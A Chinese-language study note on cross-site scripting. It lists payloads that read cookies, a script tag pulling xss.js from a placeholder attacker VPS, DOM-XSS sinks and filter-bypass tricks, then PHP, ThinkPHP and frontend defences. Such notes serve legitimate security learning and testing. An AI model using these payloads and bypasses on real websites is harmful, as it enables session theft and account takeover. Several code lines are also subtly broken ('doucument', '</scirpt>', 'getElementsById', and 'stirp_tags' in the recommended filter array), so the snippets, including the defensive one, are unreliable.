xss知识点小结
XSS知识点小结
HTML中可以执行js代码的地方
在<script>
标签中执行js代码
这是最常用方法
<script> alert(document.cookie);</script>
<script src="http://<yourVPS>/xss.js"></script>
在HTML标签的属性中添加事件
不同标签支持的事件不同,很难全部记住。在找到xss的构造点后,可以到javascript event对象中查找可用的事件。一些可以自动触发的事件可以作为首选项,像onerror,onload等。
<img src="abc" onerror="alert(document.cookie);">
<input id="123" value="test" onblur="alert(document.cookie);">
在具有src,href属性的一些标签中执行js代码
支持这种js执行的标签不多,暂时就找到这几个,后续有接触到会更新
<a href="javascript:alert(document.cookie);">click me!</a>
<iframe src="javascript:alert(document.cookie);"></iframe>
DOM型XSS常见的引发原因
利用的前提都是有可控参数
- location.href
- innerHTML,outerHTML
- appendChild
- doucument.write/writeln
- eval,setTimeout
- ....
location.href="javascript:alert(1)";
var tmp = document.getElementsById('1');
tmp.innerHTML='<script>alert(1);</script>';
doucument.write('<script>alert(1);</scirpt>');
eval("alert(1);");
setTimeout(function(){alert(1);},1000);
XSS的防御与绕过
在找到可控的输入点后,就是想办法构造上面三种方式之一来触发js。但99%的情况下输入的数据都做了过滤处理,下面就是想办法绕过其过滤机制。
常用的绕过方法
- 大小写绕过
- 双写绕过
- 替换绕过
- alert可用
prompt
,confirm
,top['alert'](1)
- ()可用 ``代替
- 空格可用%0a,%0d,/**/; html的标签内分割两部分还可以用/
- 字符ſ(ord=383)转为大写为S
- alert可用
- 编码绕过
- url编码
- html实体
t
t
等 - javascript字符编码 八进制
\164
十六进制\x0074
- js的
String.fromCharCode
方法获得字符串 - 注释绕过
- JavaScript注释
//
/**/
- html注释
<!-- -->
<!-- --!>
- JavaScript注释
- @符号绕过url限制
http://test:test@www.baidu.com
- 宽字节绕过等...
后端xss防御
目前只接触到PHP,所有先简单总结下PHP常用的几个函数,后续会继续更新
- 自己写的一系列字符串替换/正则匹配过滤语句等。。
htmlentities/htmlspecialchars
把& ' " < > 转换为html实体strip_tags
去除空字符、html和php标记,过滤较为严格,任意的标签都会被过滤addslashes
在' " \ 空字符前加上转义字符mysql_escape_string
对特殊的字符后正确转义mysql_real_escape_string
同上,但会考虑连接数据库设置的字符集,从php 7.0.0开始被移除- thinkphp中对用户的所有数据请求都会经过Request类处理。
以tp6为例,框架默认没有设置任何过滤,可在app/Request中设置过滤属性
namespace app; class Request extends \think\Request{ protected $filter = ['stirp_tags','htmlspecialchars']; }
也可以在变量获取时进行过滤
Request::get('name','','htmlspecialchars'); // 获取get变量 并用htmlspecialchars函数过滤 Request::param('username','','strip_tags'); // 获取param变量 并用strip_tags函数过滤 Request::post('name','','org\Filter::safeHtml'); // 获取post变量 并用org\Filter类的safeHtml方法过滤
前端xss防御
xss防御重点在后端,但DOM型XSS是js的不当操作造成的,所以编写js代码时应该再对后端的数据进行检查一次之后在写到DOM树中。
前端渲染时明确告诉浏览器数据是文本、属性还是样式: .innerText
,.setAttribute
,.style
。
避免使用.innerHTML
,outerHTML
等上面提到的造成DOM型XSS的方法。如果要使用应当确保没有可控变量或做好过滤。
在location.href
,标签中的href属性中添加值时应当过滤掉javascript伪协议。